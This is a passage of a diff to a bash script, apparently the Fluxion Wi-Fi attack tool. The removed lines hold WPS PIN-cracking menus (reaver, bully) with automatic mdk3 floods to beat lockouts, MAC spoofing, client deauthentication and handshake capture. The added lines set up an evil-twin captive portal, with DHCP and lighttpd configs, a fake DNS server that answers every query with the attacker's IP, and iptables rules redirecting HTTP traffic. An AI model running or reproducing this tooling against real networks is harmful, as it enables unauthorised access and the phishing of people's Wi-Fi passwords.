$DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC1 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL1 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 2) -clear - -conditional_clear -mostrarheader -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear - -scan_for_targets +subnet $RANG_IP.0 netmask 255.255.255.0 { -clear +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; -enable_mon_mode_1 +range $RANG_IP.100 $RANG_IP.250; -enable_mon_mode_2 +} +" >$DUMP_PATH/dhcpd.conf -clear -conditional_clear -mostrarheader -echo "Second WIFI_MONITOR -1)Yes -2)No" +#create an empty leases file +touch $DUMP_PATH/dhcpd.leases -read f -case $f in - 1) -clear +# creates Lighttpd web-server +echo "server.document-root = \"$DUMP_PATH/data/\" -mac_change_1 +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) -mac_change_2 +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) -clear -;; - 2) -;; - *)Invalid Option -;; -esac +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" +mimetype.assign = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " +server.error-handler-404 = \"/\" -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read g -case $g in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac +static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) } -menu -conditional_clear -mostrarheader -;; - 3) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear - -scan_for_targets - -clear - +" >$DUMP_PATH/lighttpd.conf -enable_mon_mode_1 +# that redirects all DNS requests to the gateway +echo "import socket -enable_mon_mode_2 +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' -enable_mon_mode_3 + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet+=self.data[12:] + packet+='\xc0\x0c' + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) + return packet +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Request: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns -clear -conditional_clear -mostrarheader -echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" - -read i -case $i in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read j -case $j in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac } -menu - -;; - 4) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read l -case $l in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - -clear +# Set up DHCP / WEB server +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A POSTROUTING -j MASQUERADE +} -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read m -case $m in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 5) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; -clear -echo -read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - -enable_mon_mode_5 - -clear - -echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** -1)Yes -2)No" - -read o -case $o in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -mac_change_5 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read p -case $p in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - -esac - -} -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" - echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - 